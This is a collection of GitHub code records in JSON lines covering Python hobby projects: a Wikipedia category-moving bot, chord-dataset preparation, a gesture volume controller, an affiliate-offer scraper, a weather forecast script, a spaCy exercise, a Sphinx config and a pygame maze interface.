{"seq_id": "21537976691", "text": "import pywikibot\nimport json, traceback\n\nbatch_filename_ptrn = \"ميدياويكي:عطاشة6.خدمة{}.json\"\n\nBATCH_NUMBER = int(input(\"Batch number: \"))\n\nbatch_filename = batch_filename_ptrn.format(BATCH_NUMBER)\n\nTASK_NAME = batch_filename.split(':')[1][:-5]\n\nMOVE_MESSAGE = '[['+batch_filename+'|'+TASK_NAME+']]: '+\"تحويل تصنيف\"\nSAVE_MESSAGE = '[['+batch_filename+'|'+TASK_NAME+']]: '+\"تعويض سمية د تصنيف\"\n\n\ndef read_json(site):\n    batch = pywikibot.Page(site,batch_filename)\n\n    jason = json.loads(batch.text)\n\n    return jason\n\ndef to_move(source_cat, target_cat):\n    \"\"\"\n    Checks if the category source_cat should be moved or not.\n    The two conditions\n    1- source_cat should not be a redirect page\n    2- target_cat should not already exist\n    \"\"\"\n    if source_cat.isCategoryRedirect(): #do not move a category redirect\n        return False\n    if len(list(target_cat.members())) == 0 or target_cat != \"\": #do not move to a category that has members or that has content\n        return True\n    return False\n\n\nsite = pywikibot.Site()\n\njason = read_json(site)\n\nfor i in range(len(jason)):\n\n    source_cat_title = jason[i][\"source_cat\"]\n    target_cat_title = jason[i][\"target_cat\"]\n\n\n\n\n    source_cat = pywikibot.Page(site,source_cat_title)\n\n    \n    if to_move(source_cat, pywikibot.Category(site,target_cat_title)):\n\n        try:\n            source_cat.move(target_cat_title,MOVE_MESSAGE)\n            \n        except:\n            print(\"could not transfer cat \"+source_cat.title())\n            print(traceback.format_exc())\n    \n    source_cat = pywikibot.Category(site,source_cat_title)\n\n           \n    print(len(list(source_cat.backlinks())))\n    for page in source_cat.backlinks():\n        page.text = page.text.replace(source_cat_title,target_cat_title)\n        page.save(SAVE_MESSAGE)\n\n\n    print(len(list(source_cat.members())))\n    for page in source_cat.members():\n        page.text = page.text.replace(source_cat_title,target_cat_title)\n        page.save(SAVE_MESSAGE)\n", "repo_name": "maurusian/DarijaBot", "sub_path": "Task 6 - category transfer/move_cat.py", "file_name": "move_cat.py", "file_ext": "py", "file_size_in_byte": 2023, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pywikibot.Page", "line_number": 17, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 19, "usage_type": "call"}, {"api_name": "pywikibot.Site", "line_number": 37, "usage_type": "call"}, {"api_name": "pywikibot.Page", "line_number": 49, "usage_type": "call"}, {"api_name": "pywikibot.Category", "line_number": 52, "usage_type": "call"}, {"api_name": "traceback.format_exc", "line_number": 59, "usage_type": "call"}, {"api_name": "pywikibot.Category", "line_number": 61, "usage_type": "call"}]}
{"seq_id": "37913166081", "text": "\"\"\"\r\n\r\n'/**************************************************************************************************************\r\n' 파일명    : prepare_dataset.py\r\n' 작성자    : 임지백\r\n' 목적      : 시간별 코드 데이터와 시간별 chromagram 데이터를 통해 코드별 chromagram 데이터를 만들어 json 파일로 저장해준다.\r\n             (해당 파일에서 사용하는 chromagram 데이터는 음원의 파형을 통해 추출하는 24가지의 특성값이다)\r\n' 사용방식  : 파일의 main문 실행시 인공지능 모델 학습에 필요한 json 파일을 저장한다.\r\n            이때, 프로젝트 폴더에 https://www.kaggle.com/jacobvs/mcgill-billboard 해당 웹페이지에서 받은 data 폴더를 넣어준더\r\n' 사용파일  : train_model_LSTM.py에서 이 파일에서 생성한 json 파일을 이용해 인공지능 모델 학습을 진행한다.\r\n' 개발환경  : Python 3.7.7 / Windows10\r\n' 이력사항\r\n'              YYYY. MM/DD 수정자\r\n'               1. 수정 사유: method_name {, method_name}\r\n'/**************************************************************************************************************\r\n\r\n\"\"\"\r\n\r\nimport csv\r\nimport numpy as np\r\nimport os.path\r\nimport json\r\n\r\n\r\nJSON_PATH = 'data_twelve_chroma.json'\r\n\r\n\r\ndef chord_to_int(chord_name):\r\n    \"\"\"\r\n    ' 목적 : 인공지능 학습을 위해 data 폴더에 있는 코드 정보를 int 값에 맵핑\r\n    ' 리턴값 : 코드 이름에 따라 맵핑된 int 값 ( 0 ~ 104 ) / ( 공백음인 N 또는 X의 경우 404를 리턴하고 활용은 X )\r\n    \"\"\"\r\n    type1 = ':maj'\r\n    type2 = ':min'\r\n    type3 = 'b:maj'\r\n    type4 = 'b:min'\r\n    type5 = '#:maj'\r\n    type6 = '#:min'\r\n    type7 = ':maj7'\r\n    type8 = ':min7'\r\n    type9 = 'b:maj7'\r\n    type10 = 'b:min7'\r\n    type11 = '#:maj7'\r\n    type12 = '#:min7'\r\n    type13 = ':7'\r\n    type14 = 'b:7'\r\n    type15 = '#:7'\r\n    type_table = [type1, type2, type3, type4, type5, type6, type7, type8, type9, type10, type11, type12, type13, type14, type15]\r\n\r\n    root_chord_list = ['A', 'B', 'C', 'D', 'E', 'F', 'G']\r\n\r\n    if chord_name == 'N' or chord_name == 'X':\r\n        return 404\r\n    for chord_num, root_chord in enumerate(root_chord_list):\r\n        for type_num, type in enumerate(type_table):\r\n            if root_chord + type == chord_name:\r\n                return chord_num * 15 + type_num\r\n\r\n\r\ndef prepare_dataset(json_path):\r\n    \"\"\"\r\n    ' 목적 : data 폴더에 위치한 데이터 파일을 통해 만든 json 파일을 json_path에 저장\r\n    ' 리턴값 : 없음\r\n    \"\"\"\r\n    data = {\r\n        \"labels\": [],\r\n        \"Chromagram_bundles\": [],\r\n    }\r\n\r\n    chroma_and_start_time = {\r\n        # 키값은 각각의 폴더명\r\n    }\r\n    chord_and_interval_time = {\r\n        # 키값은 각각의 폴더명\r\n    }\r\n\r\n\r\n    path_metadata = './data/metadata/metadata'\r\n    file_metadata = '/bothchroma.csv'\r\n    path_annotations = './data/annotations/annotations/'\r\n    file_annotations = '/majmin.lab'\r\n\r\n\r\n    for folder_num in range(3, 1301): # 음원의 데이터가 들어있는 폴더명은 0003 ~ 1300\r\n        if (folder_num < 10):\r\n            common_path_variable = '/000' + str(folder_num)\r\n        elif (folder_num < 100):\r\n            common_path_variable = '/00' + str(folder_num)\r\n        elif (folder_num < 1000):\r\n            common_path_variable = '/0' + str(folder_num)\r\n        else:\r\n            common_path_variable = '/' + str(folder_num)\r\n\r\n        complete_path_metadata = path_metadata + common_path_variable + file_metadata\r\n        complete_path_annotations = path_annotations + common_path_variable + file_annotations\r\n\r\n        # 파일이 존재하는지 체크\r\n        if (os.path.isfile(complete_path_metadata)):\r\n            pass\r\n        else:\r\n            continue\r\n\r\n        chroma_and_start_time[str(folder_num)] = []\r\n        chord_and_interval_time[str(folder_num)] = []\r\n\r\n        # chromagram 데이터 불러오기\r\n        with open(complete_path_metadata, 'r', encoding='utf-8') as f:\r\n            reader = csv.reader(f)\r\n\r\n            #초반의 의미없는 chromagram 값들을 패스\r\n            for _ in range(20):\r\n                next(reader)\r\n\r\n            for starting_time_and_chroma in reader:\r\n                del starting_time_and_chroma[0] # 빈 값 삭제\r\n                chroma_and_start_time[str(folder_num)].append(list(map(float, starting_time_and_chroma)))  # string을 float으로 저장\r\n\r\n        # 코드 데이터 불러오기\r\n        with open(complete_path_annotations, 'r', encoding='utf-8') as f:\r\n            reader = csv.reader(f)\r\n            for interval_time_and_chord in reader:\r\n                if (interval_time_and_chord != []):\r\n                    chord_data_list = interval_time_and_chord[0].split('\\t')\r\n                    chord_name = chord_data_list[2]\r\n                    if  chord_name != 'N' and chord_name != 'X':\r\n                        chord_data_list[2] = chord_to_int(chord_name)  # 코드이름 -> 코드이름에 맵핑된 int값\r\n                        chord_data_list[1] = float(chord_data_list[1]) # 코드의 종료시간\r\n                        chord_data_list[0] = float(chord_data_list[0]) # 코드의 시작시간\r\n                        chord_and_interval_time[str(folder_num)].append(chord_data_list)\r\n\r\n    print(len(chord_and_interval_time))\r\n    print(len(chroma_and_start_time))\r\n\r\n    # 인공지능 모델 학습을 위해 데이터를 (20, 24)로 묶어주기 (number of slices extract Chromagram, Chromagram)\r\n    for key, value in chroma_and_start_time.items():\r\n        for chord_list in chord_and_interval_time[key]:\r\n            chroma_bundle = []\r\n            num_flag = 0\r\n            for chroma_list in value:\r\n                if num_flag >= 20:\r\n                    break\r\n                if chroma_list[0] >= chord_list[1]:\r\n                    \"\"\"\r\n                    # chroma_list[0] : chromagram을 추출한 시작 시간 (간격은 약 0.05 초) / chroma_list[1:] : chromagram\r\n                    # chord_list[0] : 코드의 시작시간 / chord_list[1] : 코드의 종료시간 / chord_list[2] : int 값 맵핑된 코드이름\r\n                    \"\"\"\r\n                    break\r\n                if chroma_list[0] >= chord_list[0] and chroma_list[0] < chord_list[1]:\r\n                    del chroma_list[0]\r\n                    chroma_bundle.append(chroma_list)\r\n                    value.remove(chroma_list)\r\n                    num_flag += 1\r\n\r\n            if chroma_bundle != []:\r\n                for i in range(20 - num_flag):\r\n                    chroma_bundle.append(chroma_bundle[-1])\r\n                if len(chroma_bundle) != 20:\r\n                    print(\"문제 발생!!!\")\r\n                data[\"Chromagram_bundles\"].append(chroma_bundle)\r\n                data[\"labels\"].append(chord_list[2])\r\n\r\n    print(len(data[\"labels\"]))\r\n    print(data[\"Chromagram_bundles\"][0])\r\n    print(len(data[\"Chromagram_bundles\"]))\r\n    print(len(data[\"Chromagram_bundles\"][0]))\r\n    print(len(data[\"Chromagram_bundles\"][0][0]))\r\n\r\n    x_list = data[\"Chromagram_bundles\"]\r\n    X = np.array(x_list)\r\n    y = np.array(data[\"labels\"])\r\n\r\n    print(X.shape)\r\n    # numpy array의 shape가 분명 (N, 30, 24)로 나와야 하는데 (N, )로 나오는 경우때문에 조금 헤맸다.\r\n    # 이 경우는 데이터의 크기가 30,24를 벗어나 있는 경우가 존재한다는 뜻이므로 데이터를 다시 재구성해주어야 한다.\r\n    print(y.shape)\r\n\r\n    with open(json_path, \"w\") as fp:\r\n        json.dump(data, fp, indent=4)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    prepare_dataset(JSON_PATH)\r\n", "repo_name": "10EastSea/YousicTube", "sub_path": "TRAINING_MODEL/prepare_dataset.py", "file_name": "prepare_dataset.py", "file_ext": "py", "file_size_in_byte": 7637, "program_lang": "python", "lang": "ko", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.path.path.isfile", "line_number": 98, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 98, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 98, "usage_type": "name"}, {"api_name": "csv.reader", "line_number": 108, "usage_type": "call"}, {"api_name": "csv.reader", "line_number": 120, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 169, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 170, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 178, "usage_type": "call"}]}
{"seq_id": "18525886855", "text": "import cv2\nimport time \nimport numpy as np\nimport handdetection as hd\nimport math \nfrom ctypes import cast, POINTER\nfrom comtypes import CLSCTX_ALL\nfrom pycaw.pycaw import AudioUtilities, IAudioEndpointVolume\n\n\ndevices = AudioUtilities.GetSpeakers()\ninterface = devices.Activate(\n    IAudioEndpointVolume._iid_, CLSCTX_ALL, None)\nvolume = cast(interface, POINTER(IAudioEndpointVolume))\n#volume.GetMute()\n#volume.GetMasterVolumeLevel()\nvolRange=volume.GetVolumeRange()\nminVol=volRange[0]\nmaxVol=volRange[1]\n\nwcam,hcam=640,480\ncam=cv2.VideoCapture(0)\ncam.set(3,wcam)\ncam.set(4,hcam)\nPtime=0\nvol,volBar,volPer=0,400,0\n\ndetector=hd.handDetector(detectionCon=0.9,maxHands=1)\n\nwhile True:\n    success,img=cam.read()\n    if not success:\n            break\n    \n    img=detector.findHands(img)\n    lmList,bbox=detector.findPosition(img)\n    if len(lmList)!=0:\n\n        area=(bbox[2]-bbox[0])*(bbox[3]-bbox[1]) //100\n        if 250< area <1000:\n            length,img,lineInfo=detector.findDistance(4,8,img)\n            vol=np.interp(length,[50,300],[minVol,maxVol])\n            volBar=np.interp(length,[50,300],[400,150])\n            volPer=np.interp(length,[50,300],[0,100])\n            smoothness=10\n            volPer=smoothness * round(volPer/smoothness)\n\n            fingers=detector.fingersUp()\n            if not fingers[4]:\n                volume.SetMasterVolumeLevel(vol, None)\n                cv2.circle(img,(lineInfo[4],lineInfo[5]),12,(0,255,0),cv2.FILLED)\n\n\n        cv2.rectangle(img,(50,150),(80,400),(0,0,0),3)\n        cv2.rectangle(img,(50,int(volBar)),(80,400),(0,0,255),cv2.FILLED)\n        cv2.putText(img,f'{int(volPer)}%',(40,450),cv2.FONT_HERSHEY_COMPLEX,0.8,(0,0,255),3)\n             \n    Ctime=time.time()\n    fps=1/(Ctime-Ptime)\n    Ptime=Ctime\n    cv2.putText(img,f'FPS : {int(fps)}',(40,50),cv2.FONT_HERSHEY_COMPLEX,0.8,(255,0,0),3)\n\n    cv2.imshow(\"Wireless Sound Controller\",img)\n    if cv2.waitKey(1)==ord('q'):\n        break\n", "repo_name": "Nitheesh-2003/Wireless_Soundcontroller", "sub_path": "wireless.py", "file_name": "wireless.py", "file_ext": "py", "file_size_in_byte": 1946, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pycaw.pycaw.AudioUtilities.GetSpeakers", "line_number": 11, "usage_type": "call"}, {"api_name": "pycaw.pycaw.AudioUtilities", "line_number": 11, "usage_type": "name"}, {"api_name": "comtypes.CLSCTX_ALL", "line_number": 13, "usage_type": "argument"}, {"api_name": "pycaw.pycaw.IAudioEndpointVolume._iid_", "line_number": 13, "usage_type": "attribute"}, {"api_name": "pycaw.pycaw.IAudioEndpointVolume", "line_number": 13, "usage_type": "name"}, {"api_name": "ctypes.cast", "line_number": 14, "usage_type": "call"}, {"api_name": "ctypes.POINTER", "line_number": 14, "usage_type": "call"}, {"api_name": "pycaw.pycaw.IAudioEndpointVolume", "line_number": 14, "usage_type": "argument"}, {"api_name": "cv2.VideoCapture", "line_number": 22, "usage_type": "call"}, {"api_name": "handdetection.handDetector", "line_number": 28, "usage_type": "call"}, {"api_name": "numpy.interp", "line_number": 42, "usage_type": "call"}, {"api_name": "numpy.interp", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.interp", "line_number": 44, "usage_type": "call"}, {"api_name": "cv2.circle", "line_number": 51, "usage_type": "call"}, {"api_name": "cv2.FILLED", "line_number": 51, "usage_type": "attribute"}, {"api_name": "cv2.rectangle", "line_number": 54, "usage_type": "call"}, {"api_name": "cv2.rectangle", "line_number": 55, "usage_type": "call"}, {"api_name": "cv2.FILLED", "line_number": 55, "usage_type": "attribute"}, {"api_name": "cv2.putText", "line_number": 56, "usage_type": "call"}, {"api_name": "cv2.FONT_HERSHEY_COMPLEX", "line_number": 56, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 58, "usage_type": "call"}, {"api_name": "cv2.putText", "line_number": 61, "usage_type": "call"}, {"api_name": "cv2.FONT_HERSHEY_COMPLEX", "line_number": 61, "usage_type": "attribute"}, {"api_name": "cv2.imshow", "line_number": 63, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 64, "usage_type": "call"}]}
{"seq_id": "40646485779", "text": "# 大修 搜索结果先看是否匹配 返回offer页面的链接\n\n\nimport re\nimport time\nfrom selenium import webdriver\n\n\ndef check_if_exist(browser, element, condition):\n    try:\n        if condition == 'class':\n            browser.find_element_by_class_name(element)\n        elif condition == 'id':\n            browser.find_element_by_id(element)\n        elif condition == 'xpath':\n            browser.find_element_by_xpath(element)\n        return True\n    except Exception as err:\n        return False\n\n\ndef get_next_page(browser, retry, next_page_xpath):\n    try:  # 可能出错 stale element reference: element is not attached to the page document\n        if retry == 10:\n            return\n        next_page = browser.find_element_by_xpath(next_page_xpath)\n        next_page.click()\n        time.sleep(3)\n        retry = 0\n        return\n    except:\n        retry = retry + 1\n        print(\"Try Again.\")\n        get_next_page(browser, retry, next_page_xpath)\n\n\ndef offervault_search(query):\n    # # 正常模式\n    # browser = webdriver.Chrome()\n    # browser.maximize_window()\n    # headless模式\n    option = webdriver.ChromeOptions()\n    option.add_argument('--headless')\n    option.add_argument(\"--window-size=1920,1080\")\n    browser = webdriver.Chrome(chrome_options=option)\n    browser.implicitly_wait(10)\n    results = []\n    try:\n        keyword = query.split('.')[-2]\n        print(\"Keyword: \", keyword)\n        url = 'https://offervault.com/?selectedTab=topOffers&search=' + keyword + '&page=1'\n        browser.get(url)\n        while True:\n            main_handle = browser.current_window_handle\n            url = browser.current_url\n            page = re.findall(r'page=[0-9]+', url)[0][5:]\n            print(\"-------Current Page: {0}-------\".format(page))\n            # 获取当前页offer链接\n            container = browser.find_element_by_css_selector('#index-page-offerstable > tbody')\n            links = container.find_elements_by_tag_name('a')\n            if not links:\n                print(\"未找到符合条件的搜索结果。\")\n                return results\n            for link in links:\n                offer_link = link.get_attribute('href')\n                # 过滤 javascript:;\n                if offer_link == 'javascript:;':\n                    continue\n                print(\"---Visiting Offer: {0}...\".format(offer_link))\n                js = 'window.open(\\\"' + offer_link + '\\\");'\n                browser.execute_script(js)\n                time.sleep(2)\n                handles = browser.window_handles\n                browser.switch_to.window(handles[1])  # 切换标签页\n                # 获得preview landing page\n                try:\n                    tbody = browser.find_element_by_xpath(\n                        '//*[@id=\"__layout\"]/div/section/div/div/div/div/div[1]/div[1]/div[2]/div[1]/div/div/table/tbody'\n                    )\n                    # 防止像affpay一样有的项没有\n                    items = tbody.find_elements_by_tag_name('tr')\n                    for item in items:\n                        th = item.find_element_by_tag_name('th').text\n                        td = item.find_element_by_tag_name('td')\n                        if th == 'Preview:':\n                            preview_url = td.find_element_by_tag_name('a').get_attribute('href')\n                            if preview_url:\n                                preview_domain = preview_url.split('/')[2]\n                                if query in preview_domain:\n                                    print(\"匹配到: \", offer_link)\n                                    results.append(offer_link)\n                except Exception as err:\n                    print(\"Error: \", err)\n                browser.close()\n                browser.switch_to.window(main_handle)\n                time.sleep(1)\n            # 判断是否还有下一页\n            btn_count = len(\n                browser.find_elements_by_css_selector(\n                    '#__layout > div > section:nth-child(3) > div > div > div > div.col-md-9 > div.tablecont > div > div > div.paginrow > ul > li'\n                ))\n            next_page_index = btn_count - 1\n            next_page_xpath = '//*[@id=\"__layout\"]/div/section[2]/div/div/div/div[1]/div[1]/div/div/div[2]/ul/li[' + str(\n                next_page_index) + ']/button'\n            if not check_if_exist(browser, next_page_xpath, 'xpath'):\n                break\n            else:\n                # 跳转到下一页\n                get_next_page(browser, 0, next_page_xpath)\n    except Exception as err:\n        print(err)\n    finally:\n        browser.quit()\n        return results\n\n\nif __name__ == '__main__':\n    offervault_search('teenfinder')\n", "repo_name": "suniven/affiliate-offer-match", "sub_path": "offer_search/offervault.py", "file_name": "offervault.py", "file_ext": "py", "file_size_in_byte": 4728, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "time.sleep", "line_number": 28, "usage_type": "call"}, {"api_name": "selenium.webdriver.ChromeOptions", "line_number": 42, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 42, "usage_type": "name"}, {"api_name": "selenium.webdriver.Chrome", "line_number": 45, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 45, "usage_type": "name"}, {"api_name": "re.findall", "line_number": 56, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 72, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 96, "usage_type": "call"}]}
{"seq_id": "18565871167", "text": "import requests\n\n\nprint (\"Enter Zip in US:\")\nzip = str(input()) # str conv\nresponse = requests.get(\"https://api.openweathermap.org/data/2.5/forecast?zip=\"+zip+\",us&appid= #Add API ID#\")# add parameter to the url using str concatenate\ndata = response.json() # Json format\ntemp_dict = {}\n#temp_dict = {\"key\":\"value\"}\nprint(\" Date       Temp          Precipitation\")\nfor record in data ['list']:\n    max_temp = record['main']['temp_max']\n    min_temp = record['main']['temp_min']\n    precipitation = record['pop']\n    date = str.split(record['dt_txt'], \" \")\n    date = date[0]\n    if date in temp_dict:\n        if temp_dict[date][\"max\"] < max_temp:\n            temp_dict[date][\"max\"] = max_temp\n        if temp_dict[date][\"min\"] > min_temp:\n            temp_dict[date][\"min\"] = min_temp\n    else:\n        temp_dict.update({date:{\"max\":max_temp, \"min\":min_temp, \"precipitation\":precipitation}})\n\nfor keys in temp_dict:\n    print(keys,temp_dict[keys][\"max\"],temp_dict[keys][\"min\"],temp_dict[keys][\"precipitation\"])\n", "repo_name": "MeghvShetty/API-buffet", "sub_path": "Open_weather with Python/Open_weather_API.py", "file_name": "Open_weather_API.py", "file_ext": "py", "file_size_in_byte": 1010, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "requests.get", "line_number": 6, "usage_type": "call"}]}
{"seq_id": "18611958768", "text": "import spacy\n\nnlp = spacy.load(\"en_core_web_sm\")\n\ntext = \"Upcoming iPhone X release date leaked as Apple reveals pre-orders\"\n\n# Traite le texte\ndoc = ____\n\n# Itère sur les entités\nfor ____ in ____.____:\n    # Affiche le texte de l'entité et son label\n    print(____.____, ____.____)\n\n# Obtiens la portion pour \"iPhone X\"\niphone_x = ____\n\n# Affiche la portion de texte\nprint(\"Entité manquante :\", iphone_x.text)\n", "repo_name": "mathieuLivebardon/spacy-course", "sub_path": "exercises/fr/exc_01_09.py", "file_name": "exc_01_09.py", "file_ext": "py", "file_size_in_byte": 415, "program_lang": "python", "lang": "fr", "doc_type": "code", "dataset": "github-code", "pt": "81", "api": [{"api_name": "spacy.load", "line_number": 3, "usage_type": "call"}]}
{"seq_id": "6016929617", "text": "# Configuration file for the Sphinx documentation builder.\n#\n# For the full list of built-in configuration values, see the documentation:\n# https://www.sphinx-doc.org/en/master/usage/configuration.html\n\n# -- Project information -----------------------------------------------------\n# https://www.sphinx-doc.org/en/master/usage/configuration.html#project-information\n\nproject = \"OpenPile\"\ncopyright = \"2023, Guillaume Melin\"\nauthor = \"Guillaume Melin\"\n\nimport sys\nfrom pathlib import Path\n\npypath = Path(__file__).parents[2]\n# add path\nsys.path.insert(0, str(Path(pypath / \"src\")))\nfrom openpile import __version__\n\nrelease = __version__\n\n# -- General configuration ---------------------------------------------------\n# https://www.sphinx-doc.org/en/master/usage/configuration.html#general-configuration\n\nextensions = [\n    \"sphinx.ext.autodoc\",\n    \"sphinx.ext.githubpages\",\n    \"sphinx.ext.napoleon\",  # support for numpy and google docstrings\n    \"sphinx.ext.mathjax\",\n    \"sphinx.ext.viewcode\",\n    \"sphinx.ext.autodoc\",\n    \"sphinx.ext.todo\",\n    \"sphinx.ext.doctest\",\n    \"matplotlib.sphinxext.plot_directive\",\n]\n\nautodoc_default_options = {\n    \"member-order\": \"bysource\",\n    \"special-members\": \"__init__\",\n    \"undoc-members\": True,\n    \"exclude-members\": \"__weakref__\",\n    \"show-inheritance\": False,\n}\n\nauoclass_content = \"class\"\n# Automatically extract typehints when specified and place them in\n# descriptions of the relevant function/method.\nautodoc_typehints = \"description\"\n\n# Don't show class signature with the class' name.\nautodoc_class_signature = \"separated\"\n\ntemplates_path = [\"_templates\"]\nexclude_patterns = []\n\n# -- Options for LaTeX output ------------------------------------------------\nlatex_engine = \"pdflatex\"\nnumfig = True\n\n# -- Options for HTML output -------------------------------------------------\n# https://www.sphinx-doc.org/en/master/usage/configuration.html#options-for-html-output\n\nhtml_theme = \"sphinx_rtd_theme\"\nhtml_static_path = [\"_static\"]\n", "repo_name": "TchilDill/openpile", "sub_path": "docs/source/conf.py", "file_name": "conf.py", "file_ext": "py", "file_size_in_byte": 1986, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "81", "api": [{"api_name": "pathlib.Path", "line_number": 16, "usage_type": "call"}, {"api_name": "sys.path.insert", "line_number": 18, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 18, "usage_type": "attribute"}, {"api_name": "pathlib.Path", "line_number": 18, "usage_type": "call"}, {"api_name": "openpile.__version__", "line_number": 21, "usage_type": "name"}]}
{"seq_id": "24376534497", "text": "# coding: utf-8\n\"\"\" This module contains the UI class.\n    It manages everything that is needed to display\n    the game on the screen, using pygame. \"\"\"\n\nimport os\nimport sys\n\nimport pygame\nfrom pygame.locals import K_UP, K_DOWN, K_LEFT, K_RIGHT, QUIT\n\nfrom constants import TILESIZE, FPS\n\n\nclass GUI:\n\n    def __init__(self, level):\n        \"\"\" Constructor of the class GUI.\n        Initializes pygame.\n\n        Arguments:\n        level -- an instance of the class Level\n        \"\"\"\n        pygame.init()\n        pygame.font.init()\n        pygame.display.set_caption(\"Escape MacGyver\")\n        self.font = pygame.font.Font(None, 28)\n        self.displaysurf = pygame.display.set_mode((\n                                    TILESIZE * level.width,\n                                    TILESIZE * level.height + TILESIZE))\n        self.displaysurf.fill(\"grey\")\n        self.frame_per_sec = pygame.time.Clock()\n\n    def display_game(self, level, player):\n        \"\"\" Displays and updates the game objects on the screen.\n\n        Arguments:\n        level -- an instance of the class Level\n        player -- an instance if the class Player\n        \"\"\"\n        self.draw_gui(level, player)\n        self.pygame_event_get()\n        self.update_player(level, player)\n        self.frame_per_sec.tick(FPS)\n\n    def draw_gui(self, level, player):\n        \"\"\" Draws the game Graphical UI.\n\n        Arguments:\n        level -- an instance of the class Level\n        player -- an instance if the class Player\n        \"\"\"\n        self.draw_level(level)\n        self.draw_player(player)\n        self.draw_text(\"black\", \"Your bag: \", (45, 765))\n\n    def draw_level(self, level):\n        \"\"\" Draws the map by drawing each tile of the grid,\n        and the element located on the tile.\n\n        Arguments:\n        level -- an instance of the class Level\n        \"\"\"\n        self.displaysurf = pygame.display.set_mode(\n            (TILESIZE * level.width, TILESIZE * level.height + TILESIZE))\n        for pos_y in range(0, level.height):\n            for pos_x in range(0, level.width):\n                level.tiles_list[pos_y][pos_x].draw(self.displaysurf)\n                try:\n                    if level.tiles_list[pos_y][pos_x].element:\n                        self.draw_element(\n                            level.tiles_list[pos_y][pos_x].element)\n                except AttributeError:\n                    continue\n\n    def draw_element(self, element):\n        \"\"\" Draws an element on a specific tile:\n        can be one of the unpicked items or the guard\n\n        Arguments:\n        element -- an instance of the class Element\n        \"\"\"\n        if not element.is_picked:\n            self.displaysurf.blit(element.image, element.rect)\n\n    def draw_player(self, player):\n        \"\"\" Draws the player on the grid, according to its position.\n        Draws also the player's bag, containing the items picked\n        by the player.\n\n        Arguments:\n        player -- an instance of the class Player\n        \"\"\"\n        self.displaysurf.blit(player.image, player.rect)\n        if player.bag:\n            for index, value in enumerate(player.bag):\n                surf = pygame.Surface((TILESIZE, TILESIZE))\n                rect = surf.get_rect(topleft=(\n                    3 * TILESIZE + TILESIZE * index, 750))\n                img_filename = value.content + \".png\"\n                absolute_path = os.path.join(os.path.dirname(__file__),\n                                             \"assets\", img_filename)\n                image = pygame.image.load(absolute_path)\n                self.displaysurf.blit(image, rect)\n\n    def draw_text(self, color, message, text_position):\n        \"\"\" Draws the text representing the player's bag\n        at the bottom of the screen.\n\n        Arguments:\n        color -- the color of the text\n        message -- the text to be displayed\n        text_position -- position of the text on the screen\n        \"\"\"\n        self.text = self.font.render(message, True, color)\n        self.displaysurf.blit(self.text, text_position)\n\n    def update_player(self, level, player):\n        \"\"\" Converts the user input into a moving direction\n        for the player and update the player's sprite.\n\n        Arguments:\n        level -- an instance of the class Level\n        player -- an instance if the class Player\n        \"\"\"\n        pressed_keys = pygame.key.get_pressed()\n        if player.rect.top > 0 and pressed_keys[K_UP] and level.can_move(player.pos_x, player.pos_y - 1):\n            player.rect.move_ip(0, -TILESIZE)\n            player.move(\"up\")\n        if player.rect.bottom < level.height * TILESIZE and pressed_keys[K_DOWN] and level.can_move(player.pos_x, player.pos_y + 1):\n            player.rect.move_ip(0, TILESIZE)\n            player.move(\"down\")\n        if player.rect.left > 0 and pressed_keys[K_LEFT] and level.can_move(player.pos_x - 1, player.pos_y):\n            player.rect.move_ip(-TILESIZE, 0)\n            player.move(\"left\")\n        if player.rect.right < level.width * TILESIZE and pressed_keys[K_RIGHT] and level.can_move(player.pos_x + 1, player.pos_y):\n            player.rect.move_ip(TILESIZE, 0)\n            player.move(\"right\")\n\n    def pygame_event_get(self):\n        \"\"\" Captures event for pygame. \"\"\"\n        for event in pygame.event.get():\n            if event.type == QUIT:\n                pygame.quit()\n                sys.exit()\n", "repo_name": "julienlair01/labyrinth", "sub_path": "gui.py", "file_name": "gui.py", "file_ext": "py", "file_size_in_byte": 5375, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pygame.init", "line_number": 24, "usage_type": "call"}, {"api_name": "pygame.font.init", "line_number": 25, "usage_type": "call"}, {"api_name": "pygame.font", "line_number": 25, "usage_type": "attribute"}, {"api_name": "pygame.display.set_caption", "line_number": 26, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 26, "usage_type": "attribute"}, {"api_name": "pygame.font.Font", "line_number": 27, "usage_type": "call"}, {"api_name": "pygame.font", "line_number": 27, "usage_type": "attribute"}, {"api_name": "pygame.display.set_mode", "line_number": 28, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 28, "usage_type": "attribute"}, {"api_name": "constants.TILESIZE", "line_number": 29, "usage_type": "name"}, {"api_name": "constants.TILESIZE", "line_number": 30, "usage_type": "name"}, {"api_name": "pygame.time.Clock", "line_number": 32, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 32, "usage_type": "attribute"}, {"api_name": "constants.FPS", "line_number": 44, "usage_type": "argument"}, {"api_name": "pygame.display.set_mode", "line_number": 64, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 64, "usage_type": "attribute"}, {"api_name": "constants.TILESIZE", "line_number": 65, "usage_type": "name"}, {"api_name": "pygame.Surface", 